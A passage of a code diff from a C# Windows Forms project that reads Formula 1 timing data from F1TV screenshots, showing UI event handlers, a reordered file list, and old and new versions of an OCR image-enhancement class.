    +                Wrapper = new DataWrapper(ConfigFile, Emulator.Screenshot());
    +                btnResetEmulator.Text = "Re launch";
    +                btnResetEmulator.Enabled = true;
    +                btnSettings.Enabled = true;
    +                btnStartDecoding.Enabled = true;
    +            }
    +        }
    +        private void removeBorders(object sender, PaintEventArgs e)
    +        {
    +            GroupBox gpbx = (GroupBox)sender;
    +
    +            using (Pen pen = new Pen(gpbx.BackColor, 50))
    +            {
    +                e.Graphics.DrawRectangle(pen, 0, 0, gpbx.Width - 1, gpbx.Height - 1);
    +                e.Graphics.DrawRectangle(pen, 0, 0, gpbx.Width - 1, gpbx.Height - 1);
    +            }
    +
    +            using (var brush = new SolidBrush(gpbx.ForeColor))
    +            {
    +                var textPosition = new Point(5, 0); // Adjust the X and Y values as needed
    +                e.Graphics.DrawString(gpbx.Text, gpbx.Font, brush, textPosition);
    +            }
    +        }
    +        private void lsbPresets_SelectedIndexChanged(object sender, EventArgs e)
    +        {
    +            if (lsbPresets.SelectedIndex >= 0)
    +                ConfigFile = lsbPresets.Items[lsbPresets.SelectedIndex].ToString();
    +        }
    +
    +        private void textBox1_TextChanged(object sender, EventArgs e)
    +        {
    +            if (tbxGpUrl.Text != "")
    +                GpUrl = tbxGpUrl.Text;
    +        }
    +        public void btnDriver_Click(object sender, EventArgs e)
    +        {
    +            //Removes the cover
    +            if (pnlCover.Visible = true)
    +                pnlCover.Visible = false;
    +            //Happens when a driver button has been clicked
    +            //MessageBox.Show((sender as Button).Name + " has been selected");
    +            Button btn = (sender as Button);
    +            string[] parts = btn.Name.Split('_');
    +            DriverData driver = Wrapper.GetFullDriverData(parts[0], pnlCurrentDriverLapsHistory, this);
    +            lblCurrentDriverName.Text = driver.Name;
    +            lblCurrentDriverPosition.Text = driver.Position.ToString();
    +            lblCurrentDriverGapToLeader.Text = Reader.ConvertMsToTime(driver.GapToLeader);
    +            lblCurrentDriverLapTime.Text = Reader.ConvertMsToTime(driver.LapTime);
    +            lblCurrentDriverTyreAge.Text = driver.CurrentTyre.NumberOfLaps.ToString();
    +            if (driver.DRS)
    +            {
    +                lblCurrentDriverDRS.Text = "Open";
    +                lblCurrentDriverDRS.ForeColor = Color.FromArgb(0, 164, 46);
    +            }
    +            else
    +            {
    +                lblCurrentDriverDRS.Text = "Closed";
    +                lblCurrentDriverDRS.ForeColor = Color.Black;
    +            }
    +            switch (driver.CurrentTyre.Coumpound)
    +            {
    +                case Tyre.Type.Undefined:
    +                    lblCurrentDriverTyreType.Text = "uuuuh...";
    +                    lblCurrentDriverTyreType.ForeColor = Color.Violet;
    +                    break;
    +                case Tyre.Type.Hard:
    +                    lblCurrentDriverTyreType.Text = "Hard";
    +                    lblCurrentDriverTyreType.ForeColor = Color.FromArgb(164, 165, 168);
    +                    break;
    +                case Tyre.Type.Medium:
    +                    lblCurrentDriverTyreType.Text = "Medium";
    +                    lblCurrentDriverTyreType.ForeColor = Color.FromArgb(245, 191, 0);
    +                    break;
    +                case Tyre.Type.Soft:
    +                    lblCurrentDriverTyreType.Text = "Soft";
    +                    lblCurrentDriverTyreType.ForeColor = Color.FromArgb(255, 0, 0);
    +                    break;
    +                case Tyre.Type.Inter:
    +                    lblCurrentDriverTyreType.Text = "Intermediate";
    +                    lblCurrentDriverTyreType.ForeColor = Color.FromArgb(0, 164, 46);
    +                    break;
    +                case Tyre.Type.Wet:
    +                    lblCurrentDriverTyreType.Text = "Wet";
    +                    lblCurrentDriverTyreType.ForeColor = Color.FromArgb(39, 96, 166);
    +                    break;
    +            }
    +        }
    +        public void btnLapTime_Click(object sender, EventArgs e)
    +        {
    +            //Happens when a lapTime has been clicked
    +            Button btn = sender as Button;
    +            string[] parts = btn.Name.Split('_');
    +            Wrapper.DisplayLapTimeInfos(parts[0], Convert.ToInt32(parts[1]), btn.Text);
    +        }
    +
    +        private void Main_Resize(object sender, EventArgs e)
    +        {
    +            int xDiff = this.Width - oldSize.Width;
    +            int yDiff = this.Height - oldSize.Height;
    +            int padding = 10;
    +            //This will take half the newly created space
    +            gpbxRanking.Size = new Size(oldRankingSize.Width + xDiff / 2, oldRankingSize.Height + yDiff);
    +            gpbxRanking.Location = new Point(oldRankingPosition.X + xDiff / 2, gpbxRanking.Location.Y);
    +            //Will take half the new height and half the new height
    +            gpbxLapTimes.Size = new Size(oldLapTimesSize.Width + xDiff / 2, oldLapTimesSize.Height + yDiff / 2);
    +            //Will take half the new height and half the new width
    +            gpbxBattles.Size = new Size(oldBattles.Width + xDiff / 2, oldBattles.Height + yDiff / 2);
    +            gpbxBattles.Location = new Point(gpbxBattles.Location.X, oldBattlePosition.Y + yDiff / 2);
    +            //The infos wont change width but will need to be centerd
    +            Point startOfZone = new Point(gpbxOvertakes.Width + gpbxOvertakes.Location.X, gpbxOvertakes.Location.Y);
    +            Point endOfZone = new Point(gpbxRanking.Location.X, gpbxOvertakes.Location.Y);
    +            int totalWidth = endOfZone.X - startOfZone.X;
    +            gpbxDriverInfos.Location = new Point(startOfZone.X + (totalWidth / 2 - gpbxDriverInfos.Width / 2), oldDriverInfoPosition.Y + yDiff);
    +            //Now resizing internals
    +            pnlFastest.Size = new Size(oldPnlFastest.Width + xDiff / 4,oldPnlFastest.Height + yDiff / 4);
    +            pnlFastest.Location = new Point(olPnlFastestPosition.X,olPnlFastestPosition.Y + yDiff / 4);
    +
    +            pnlSlowest.Size = new Size(oldPnlSlowest.Width + xDiff / 4, oldPnlSlowest.Height + yDiff / 4);
    +            pnlSlowest.Location = new Point(oldPnlSlowestPosition.X + xDiff / 4, oldPnlSlowestPosition.Y + yDiff / 4);
    +
    +            pnlBattles.Size = new Size(oldPnlBattles.Width + xDiff / 2,oldPnlBattles.Height + yDiff / 2);
    +
    +            pnlLiveRanking.Size = new Size(oldPnlRankings.Width + xDiff / 2,oldPnlRankings.Height + yDiff);
    +        }
    +    }
    +}
    +
  • - - DriverGapToLeaderWindow.cs - -
  • -
  • - - DriverPositionWindow.cs - -
  • -
  • - - F1TVEmulator.cs - -
  • -
  • - - Program.cs - -
  • -
  • - - Window.cs - -
  • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
  • +
  • + + DriverNameWindow.cs
  • @@ -175,13 +155,28 @@
  • + + F1TVEmulator.cs + +
  • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
  • +
  • + + Settings.Designer.cs + +
  • +
  • + + SqliteStorage.cs
  • @@ -190,13 +185,23 @@
  • + + DataWrapper.cs + +
  • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
  • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
  • +
  • Settings.cs
  • + + Window.cs + +
  • +
  • recoverCookiesCSV.py @@ -239,547 +254,680 @@

    OcrImage.cs

    -
    /// Author : Maxime Rohmer
    -/// Date : 08/05/2023
    -/// File : OcrImage.cs
    -/// Brief : Class containing all the methods used to enhance images for OCR
    -/// Version : 0.1
    -
    -using System;
    -using System.Collections.Generic;
    -using System.Threading.Tasks;
    -using System.Drawing;
    -using System.Drawing.Drawing2D;
    -using System.Drawing.Imaging;
    -
    -namespace Test_Merge
    -{
    -    public class OcrImage
    -    {
    -        //this is a hardcoded value based on the colors of the F1TV data channel background you can change it if sometime in the future the color changes
    -        //Any color that has any of its R,G or B channel higher than the treshold will be considered as being usefull information
    -        public static Color F1TV_BACKGROUND_TRESHOLD = Color.FromArgb(0x50, 0x50, 0x50);
    -        Bitmap InputBitmap;
    -        public enum WindowType
    -        {
    -            LapTime,
    -            Text,
    -            Sector,
    -            Gap,
    -            Tyre,
    -        }
    -
    -        /// <summary>
    -        /// Create a new Ocr image to help enhance the given bitmap for OCR
    -        /// </summary>
    -        /// <param name="inputBitmap">The image you want to enhance</param>
    -        public OcrImage(Bitmap inputBitmap)
    -        {
    -            InputBitmap = inputBitmap;
    -        }
    -        /// <summary>
    -        /// Enhances the image depending on wich type of window the image comes from
    -        /// </summary>
    -        /// <param name="type">The type of the window. Depending on it different enhancing features will be applied</param>
    -        /// <returns>The enhanced Bitmap</returns>
    -        public Bitmap Enhance(WindowType type = WindowType.Text)
    -        {
    -            Bitmap outputBitmap = (Bitmap)InputBitmap.Clone();
    -            switch (type)
    -            {
    -                case WindowType.LapTime:
    -                    outputBitmap = Tresholding(outputBitmap, 185);
    -                    outputBitmap = Resize(outputBitmap, 2);
    -                    outputBitmap = Dilatation(outputBitmap, 1);
    -                    outputBitmap = Erode(outputBitmap, 1);
    -                    break;
    -                case WindowType.Text:
    -                    outputBitmap = InvertColors(outputBitmap);
    -                    outputBitmap = Tresholding(outputBitmap, 165);
    -                    outputBitmap = Resize(outputBitmap, 2);
    -                    outputBitmap = Dilatation(outputBitmap, 1);
    -                    break;
    -                case WindowType.Tyre:
    -                    outputBitmap = RemoveUseless(outputBitmap);
    -                    outputBitmap = Resize(outputBitmap, 4);
    -                    outputBitmap = Dilatation(outputBitmap, 1);
    -                    break;
    -                default:
    -                    outputBitmap = Tresholding(outputBitmap, 165);
    -                    outputBitmap = Resize(outputBitmap, 4);
    -                    outputBitmap = Erode(outputBitmap, 1);
    -                    break;
    -            }
    -            return outputBitmap;
    -        }
    -        /// <summary>
    -        /// Method that convert a colored RGB bitmap into a GrayScale image 
    -        /// </summary>
    -        /// <param name="inputBitmap">The Bitmap you want to convert</param>
    -        /// <returns>The bitmap in grayscale</returns>
    -        public static Bitmap Grayscale(Bitmap inputBitmap)
    -        {
    -            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
    -            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
    -            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
    -
    -            unsafe
    -            {
    -                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
    -                for (int y = 0; y < inputBitmap.Height; y++)
    -                {
    -                    byte* currentLine = ptr + (y * bmpData.Stride);
    -                    for (int x = 0; x < inputBitmap.Width; x++)
    -                    {
    -                        byte* pixel = currentLine + (x * bytesPerPixel);
    -
    -                        byte blue = pixel[0];
    -                        byte green = pixel[1];
    -                        byte red = pixel[2];
    -
    -                        //Those a specific values to correct the weights so its more pleasing to the human eye
    -                        int gray = (int)(red * 0.3 + green * 0.59 + blue * 0.11);
    -
    -                        pixel[0] = pixel[1] = pixel[2] = (byte)gray;
    -                    }
    -                }
    -            }
    -            inputBitmap.UnlockBits(bmpData);
    -
    -            return inputBitmap;
    -        }
    -        /// <summary>
    -        /// Method that binaries the input image up to a certain treshold given
    -        /// </summary>
    -        /// <param name="inputBitmap">the bitmap you want to convert to binary colors</param>
    -        /// <param name="threshold">The floor at wich the color is considered as white or black</param>
    -        /// <returns>The binarised bitmap</returns>
    -        public static Bitmap Tresholding(Bitmap inputBitmap, int threshold)
    -        {
    -            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
    -            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
    -            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
    -
    -            unsafe
    -            {
    -                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
    -                int bmpHeight = inputBitmap.Height;
    -                int bmpWidth = inputBitmap.Width;
    -                Parallel.For(0, bmpHeight, y =>
    -                {
    -                    byte* currentLine = ptr + (y * bmpData.Stride);
    -                    for (int x = 0; x < bmpWidth; x++)
    -                    {
    -                        byte* pixel = currentLine + (x * bytesPerPixel);
    -
    -                        byte blue = pixel[0];
    -                        byte green = pixel[1];
    -                        byte red = pixel[2];
    -                        //Those a specific values to correct the weights so its more pleasing to the human eye
    -                        int gray = (int)(red * 0.3 + green * 0.59 + blue * 0.11);
    -                        int value = gray < threshold ? 0 : 255;
    -
    -                        pixel[0] = pixel[1] = pixel[2] = (byte)value;
    -                    }
    -                });
    -            }
    -            inputBitmap.UnlockBits(bmpData);
    -
    -            return inputBitmap;
    -        }
    -        /// <summary>
    -        /// Method that removes the pixels that are flagged as background
    -        /// </summary>
    -        /// <param name="inputBitmap">The bitmap you want to remove the background from</param>
    -        /// <returns>The Bitmap without the background</returns>
    -        public static Bitmap RemoveBG(Bitmap inputBitmap)
    -        {
    -            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
    -            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
    -            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
    -
    -            unsafe
    -            {
    -                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
    -                for (int y = 0; y < inputBitmap.Height; y++)
    -                {
    -                    byte* currentLine = ptr + (y * bmpData.Stride);
    -                    for (int x = 0; x < inputBitmap.Width; x++)
    -                    {
    -                        byte* pixel = currentLine + (x * bytesPerPixel);
    -
    -                        int B = pixel[0];
    -                        int G = pixel[1];
    -                        int R = pixel[2];
    -
    -                        if (R <= F1TV_BACKGROUND_TRESHOLD.R && G <= F1TV_BACKGROUND_TRESHOLD.G && B <= F1TV_BACKGROUND_TRESHOLD.B)
    -                            pixel[0] = pixel[1] = pixel[2] = 0;
    -                    }
    -                }
    -            }
    -            inputBitmap.UnlockBits(bmpData);
    -
    -            return inputBitmap;
    -        }
    -        /// <summary>
    -        /// Method that removes all the useless things from the image and returns hopefully only the numbers
    -        /// </summary>
    -        /// <param name="inputBitmap">The bitmap you want to remove useless things from (Expects a cropped part of the TyreWindow)</param>
    -        /// <returns>The bitmap with (hopefully) only the digits</returns>
    -        public unsafe static Bitmap RemoveUseless(Bitmap inputBitmap)
    -        {
    -            //Note you can use something else than a cropped tyre window but I would recommend checking the code first to see if it fits your intended use
    -            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
    -            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
    -            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
    -
    -            byte* ptr = (byte*)bmpData.Scan0.ToPointer();
    -            for (int y = 0; y < inputBitmap.Height; y++)
    -            {
    -                byte* currentLine = ptr + (y * bmpData.Stride);
    -
    -                List<int> pixelsToRemove = new List<int>();
    -
    -                bool fromBorder = true;
    -
    -                for (int x = 0; x < inputBitmap.Width; x++)
    -                {
    -                    byte* pixel = currentLine + (x * bytesPerPixel);
    -
    -                    int B = pixel[0];
    -                    int G = pixel[1];
    -                    int R = pixel[2];
    -
    -                    if (fromBorder && B < F1TV_BACKGROUND_TRESHOLD.B && G < F1TV_BACKGROUND_TRESHOLD.G && R < F1TV_BACKGROUND_TRESHOLD.R)
    -                    {
    -                        pixelsToRemove.Add(x);
    -                    }
    -                    else
    -                    {
    -                        if (fromBorder)
    -                        {
    -                            fromBorder = false;
    -                            pixelsToRemove.Add(x);
    -                        }
    -                    }
    -                }
    -                fromBorder = true;
    -                for (int x = inputBitmap.Width - 1; x > 0; x--)
    -                {
    -                    byte* pixel = currentLine + (x * bytesPerPixel);
    -
    -                    int B = pixel[0];
    -                    int G = pixel[1];
    -                    int R = pixel[2];
    -
    -                    if (fromBorder && B < F1TV_BACKGROUND_TRESHOLD.B && G < F1TV_BACKGROUND_TRESHOLD.G && R < F1TV_BACKGROUND_TRESHOLD.R)
    -                    {
    -                        pixelsToRemove.Add(x);
    -                    }
    -                    else
    -                    {
    -                        if (fromBorder)
    -                        {
    -                            fromBorder = false;
    -                            pixelsToRemove.Add(x);
    -                        }
    -                    }
    -                }
    -
    -                foreach (int pxPos in pixelsToRemove)
    -                {
    -                    byte* pixel = currentLine + (pxPos * bytesPerPixel);
    -
    -                    pixel[0] = 0xFF;
    -                    pixel[1] = 0xFF;
    -                    pixel[2] = 0xFF;
    -                }
    -            }
    -
    -            //Removing the color parts
    -            for (int y = 0; y < inputBitmap.Height; y++)
    -            {
    -                byte* currentLine = ptr + (y * bmpData.Stride);
    -                for (int x = 0; x < inputBitmap.Width; x++)
    -                {
    -                    byte* pixel = currentLine + (x * bytesPerPixel);
    -
    -                    int B = pixel[0];
    -                    int G = pixel[1];
    -                    int R = pixel[2];
    -
    -                    if (R >= F1TV_BACKGROUND_TRESHOLD.R + 15 || G >= F1TV_BACKGROUND_TRESHOLD.G + 15 || B >= F1TV_BACKGROUND_TRESHOLD.B + 15)
    -                    {
    -                        pixel[0] = 0xFF;
    -                        pixel[1] = 0xFF;
    -                        pixel[2] = 0xFF;
    -                    }
    -                }
    -            }
    -
    -            inputBitmap.UnlockBits(bmpData);
    -            return inputBitmap;
    -        }
    -        /// <summary>
    -        /// Recovers the average colors from the Image. NOTE : It wont take in account colors that are lower than the background
    -        /// </summary>
    -        /// <param name="inputBitmap">The bitmap you want to get the average color from</param>
    -        /// <returns>The average color of the bitmap</returns>
    -        public static Color GetAvgColorFromBitmap(Bitmap inputBitmap)
    -        {
    -            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
    -            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
    -            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
    -
    -            int totR = 0;
    -            int totG = 0;
    -            int totB = 0;
    -
    -            int totPixels = 1;
    -
    -            unsafe
    -            {
    -                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
    -                int bmpHeight = inputBitmap.Height;
    -                int bmpWidth = inputBitmap.Width;
    -                Parallel.For(0, bmpHeight, y =>
    -                {
    -                    byte* currentLine = ptr + (y * bmpData.Stride);
    -                    for (int x = 0; x < bmpWidth; x++)
    -                    {
    -                        byte* pixel = currentLine + (x * bytesPerPixel);
    -
    -                        int B = pixel[0];
    -                        int G = pixel[1];
    -                        int R = pixel[2];
    -
    -                        if (R >= F1TV_BACKGROUND_TRESHOLD.R || G >= F1TV_BACKGROUND_TRESHOLD.G || B >= F1TV_BACKGROUND_TRESHOLD.B)
    -                        {
    -                            totPixels++;
    -                            totB += pixel[0];
    -                            totG += pixel[1];
    -                            totR += pixel[2];
    -                        }
    -                    }
    -                });
    -            }
    -            inputBitmap.UnlockBits(bmpData);
    -
    -            return Color.FromArgb(255, Convert.ToInt32((float)totR / (float)totPixels), Convert.ToInt32((float)totG / (float)totPixels), Convert.ToInt32((float)totB / (float)totPixels));
    -        }
    -        /// <summary>
    -        /// This method simply inverts all the colors in a Bitmap
    -        /// </summary>
    -        /// <param name="inputBitmap">the bitmap you want to invert the colors from</param>
    -        /// <returns>The bitmap with inverted colors</returns>
    -        public static Bitmap InvertColors(Bitmap inputBitmap)
    -        {
    -            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
    -            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
    -            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
    -
    -            unsafe
    -            {
    -                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
    -                for (int y = 0; y < inputBitmap.Height; y++)
    -                {
    -                    byte* currentLine = ptr + (y * bmpData.Stride);
    -                    for (int x = 0; x < inputBitmap.Width; x++)
    -                    {
    -                        byte* pixel = currentLine + (x * bytesPerPixel);
    -
    -                        pixel[0] = (byte)(255 - pixel[0]);
    -                        pixel[1] = (byte)(255 - pixel[1]);
    -                        pixel[2] = (byte)(255 - pixel[2]);
    -                    }
    -                }
    -            }
    -            inputBitmap.UnlockBits(bmpData);
    -
    -            return inputBitmap;
    -        }
    -        /// <summary>
    -        /// Methods that applies Bicubic interpolation to increase the size and resolution of an image
    -        /// </summary>
    -        /// <param name="inputBitmap">The bitmap you want to resize</param>
    -        /// <param name="resizeFactor">The factor of resizing you want to use. I recommend using even numbers</param>
    -        /// <returns>The bitmap witht the new size</returns>
    -        public static Bitmap Resize(Bitmap inputBitmap, int resizeFactor)
    -        {
    -            var resultBitmap = new Bitmap(inputBitmap.Width * resizeFactor, inputBitmap.Height * resizeFactor);
    -
    -            using (var graphics = Graphics.FromImage(resultBitmap))
    -            {
    -                graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
    -                graphics.DrawImage(inputBitmap, new Rectangle(0, 0, resultBitmap.Width, resultBitmap.Height));
    -            }
    -
    -            return resultBitmap;
    -        }
    -        /// <summary>
    -        /// method that Highlights the countours of a Bitmap
    -        /// </summary>
    -        /// <param name="inputBitmap">The bitmap you want to highlight the countours of</param>
    -        /// <returns>The bitmap with countours highlighted</returns>
    -        public static Bitmap HighlightContours(Bitmap inputBitmap)
    -        {
    -            Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height);
    -
    -            Bitmap grayscale = Grayscale(inputBitmap);
    -            Bitmap thresholded = Tresholding(grayscale, 128);
    -            Bitmap dilated = Dilatation(thresholded, 3);
    -            Bitmap eroded = Erode(dilated, 3);
    -
    -            for (int y = 0; y < inputBitmap.Height; y++)
    -            {
    -                for (int x = 0; x < inputBitmap.Width; x++)
    -                {
    -                    Color pixel = inputBitmap.GetPixel(x, y);
    -                    Color dilatedPixel = dilated.GetPixel(x, y);
    -                    Color erodedPixel = eroded.GetPixel(x, y);
    -
    -                    int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11);
    -                    int threshold = dilatedPixel.R;
    -
    -                    if (gray > threshold)
    -                    {
    -                        outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255));
    -                    }
    -                    else if (gray <= threshold && erodedPixel.R == 0)
    -                    {
    -                        outputBitmap.SetPixel(x, y, Color.FromArgb(255, 0, 0));
    -                    }
    -                    else
    -                    {
    -                        outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0));
    -                    }
    -                }
    -            }
    -
    -            return outputBitmap;
    -        }
    -        /// <summary>
    -        /// Method that that erodes the morphology of a bitmap
    -        /// </summary>
    -        /// <param name="inputBitmap">The bitmap you want to erode</param>
    -        /// <param name="kernelSize">The amount of Erosion you want (be carefull its expensive on ressources)</param>
    -        /// <returns>The Bitmap with the eroded contents</returns>
    -        public static Bitmap Erode(Bitmap inputBitmap, int kernelSize)
    -        {
    -            Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height);
    -
    -            int[,] kernel = new int[kernelSize, kernelSize];
    -
    -            for (int i = 0; i < kernelSize; i++)
    -            {
    -                for (int j = 0; j < kernelSize; j++)
    -                {
    -                    kernel[i, j] = 1;
    -                }
    -            }
    -
    -            for (int y = kernelSize / 2; y < inputBitmap.Height - kernelSize / 2; y++)
    -            {
    -                for (int x = kernelSize / 2; x < inputBitmap.Width - kernelSize / 2; x++)
    -                {
    -                    bool flag = true;
    -
    -                    for (int i = -kernelSize / 2; i <= kernelSize / 2; i++)
    -                    {
    -                        for (int j = -kernelSize / 2; j <= kernelSize / 2; j++)
    -                        {
    -                            Color pixel = inputBitmap.GetPixel(x + i, y + j);
    -                            int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11);
    -
    -                            if (gray >= 128 && kernel[i + kernelSize / 2, j + kernelSize / 2] == 1)
    -                            {
    -                                flag = false;
    -                                break;
    -                            }
    -                        }
    -
    -                        if (!flag)
    -                        {
    -                            break;
    -                        }
    -                    }
    -
    -                    if (flag)
    -                    {
    -                        outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255));
    -                    }
    -                    else
    -                    {
    -                        outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0));
    -                    }
    -                }
    -            }
    -
    -            return outputBitmap;
    -        }
    -        /// <summary>
    -        /// Method that that use dilatation of the morphology of a bitmap
    -        /// </summary>
    -        /// <param name="inputBitmap">The bitmap you want to use dilatation on</param>
    -        /// <param name="kernelSize">The amount of dilatation you want (be carefull its expensive on ressources)</param>
    -        /// <returns>The Bitmap after Dilatation</returns>
    -        public static Bitmap Dilatation(Bitmap inputBitmap, int kernelSize)
    -        {
    -            Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height);
    -
    -            int[,] kernel = new int[kernelSize, kernelSize];
    -
    -            for (int i = 0; i < kernelSize; i++)
    -            {
    -                for (int j = 0; j < kernelSize; j++)
    -                {
    -                    kernel[i, j] = 1;
    -                }
    -            }
    -
    -            for (int y = kernelSize / 2; y < inputBitmap.Height - kernelSize / 2; y++)
    -            {
    -                for (int x = kernelSize / 2; x < inputBitmap.Width - kernelSize / 2; x++)
    -                {
    -                    bool flag = false;
    -
    -                    for (int i = -kernelSize / 2; i <= kernelSize / 2; i++)
    -                    {
    -                        for (int j = -kernelSize / 2; j <= kernelSize / 2; j++)
    -                        {
    -                            Color pixel = inputBitmap.GetPixel(x + i, y + j);
    -                            int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11);
    -
    -                            if (gray < 128 && kernel[i + kernelSize / 2, j + kernelSize / 2] == 1)
    -                            {
    -                                flag = true;
    -                                break;
    -                            }
    -                        }
    -
    -                        if (flag)
    -                        {
    -                            break;
    -                        }
    -                    }
    -
    -                    if (flag)
    -                    {
    -                        outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0));
    -                    }
    -                    else
    -                    {
    -                        outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255));
    -                    }
    -                }
    -            }
    -
    -            return outputBitmap;
    -        }
    -    }
    -}
    -
    -
    +
    /// Author : Maxime Rohmer
    +/// Date : 30/05/2023
    +/// File : OcrImage.cs
    +/// Brief : Class containing all the methods used to enhance images for OCR
    +/// Version : Alpha 1.0
    +
    +using System;
    +using System.Collections.Generic;
    +using System.Threading.Tasks;
    +using System.Drawing;
    +using System.Drawing.Drawing2D;
    +using System.Drawing.Imaging;
    +
    +namespace TrackTrends
    +{
    +    public class OcrImage
    +    {
    +        //this is a hardcoded value based on the colors of the F1TV data channel background you can change it if sometime in the future the color changes
    +        //Any color that has any of its R,G or B channel higher than the treshold will be considered as being usefull information
    +        public static Color F1TV_BACKGROUND_TRESHOLD = Color.FromArgb(0x50, 0x50, 0x50);
    +        Bitmap InputBitmap;
    +        public enum WindowType
    +        {
    +            LapTime,
    +            Text,
    +            Sector,
    +            Gap,
    +            Tyre,
    +        }
    +
    +        /// <summary>
    +        /// Create a new Ocr image to help enhance the given bitmap for OCR
    +        /// </summary>
    +        /// <param name="inputBitmap">The image you want to enhance</param>
    +        public OcrImage(Bitmap inputBitmap)
    +        {
    +            InputBitmap = inputBitmap;
    +        }
    +        /// <summary>
    +        /// Enhances the image depending on wich type of window the image comes from
    +        /// </summary>
    +        /// <param name="type">The type of the window. Depending on it different enhancing features will be applied</param>
    +        /// <returns>The enhanced Bitmap</returns>
    +        public Bitmap Enhance(WindowType type = WindowType.Text)
    +        {
    +            Bitmap outputBitmap = (Bitmap)InputBitmap.Clone();
    +            //Note : If you plan to activate all the comments that I used to debug the OCR I would advise to make sure that the debug folder exists
    +            switch (type)
    +            {
    +                case WindowType.Gap:
    +                    //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @"\raw_" + id + ".png");
    +
    +                    outputBitmap = Tresholding(outputBitmap, 165);
    +                    //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @"\treshold_" + id + ".png");
    +
    +                    outputBitmap = Resize(outputBitmap, 2);
    +                    //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @"\resize_" + id + ".png");
    +
    +                    outputBitmap = Dilatation(outputBitmap, 1);
    +                    //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @"\Final_dilatation_" + id + ".png");
    +                    break;
    +                case WindowType.Sector:
    +                    //outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @"\raw_" + id + ".png");
    +
    +                    outputBitmap = VanishOxyAction(outputBitmap);
    +                    //outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @"\vanish_" + id + ".png");
    +
    +                    outputBitmap = Tresholding(outputBitmap, 150);
    +                    //outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @"\Final_treshold_" + id + ".png");
    +                    break;
    +                case WindowType.LapTime:
    +                    //outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @"\raw_" + id + ".png");
    +
    +                    outputBitmap = Tresholding(outputBitmap,185);
    +                    //outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @"\Treshold_" + id + ".png");
    +
    +                    outputBitmap = SobelEdgeDetection(outputBitmap);
    +                    //outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @"\SobelDetection_" + id + ".png");
    +                    break;
    +                case WindowType.Text:
    +                    //outputBitmap.Save(Window.STRING_DEBUG_FOLDER + @"\raw_" + id + ".png");
    +
    +                    outputBitmap = Tresholding(outputBitmap, 165);
    +                    //outputBitmap.Save(Window.STRING_DEBUG_FOLDER + @"\Final_treshold_" + id + ".png");
    +                    break;
    +                case WindowType.Tyre:
    +                    //outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @"\raw_" + id + ".png");
    +
    +                    outputBitmap = RemoveUseless(outputBitmap);
    +                    //outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @"\uselessRemoved_" + id + ".png");
    +
    +                    outputBitmap = Dilatation(outputBitmap, 1);
    +                    //outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @"\Final_dilatation_" + id + ".png");
    +                    break;
    +                default:
    +                    outputBitmap = Tresholding(outputBitmap, 165);
    +                    outputBitmap = Resize(outputBitmap, 2);
    +                    outputBitmap = Erode(outputBitmap, 1);
    +                    break;
    +            }
    +            return outputBitmap;
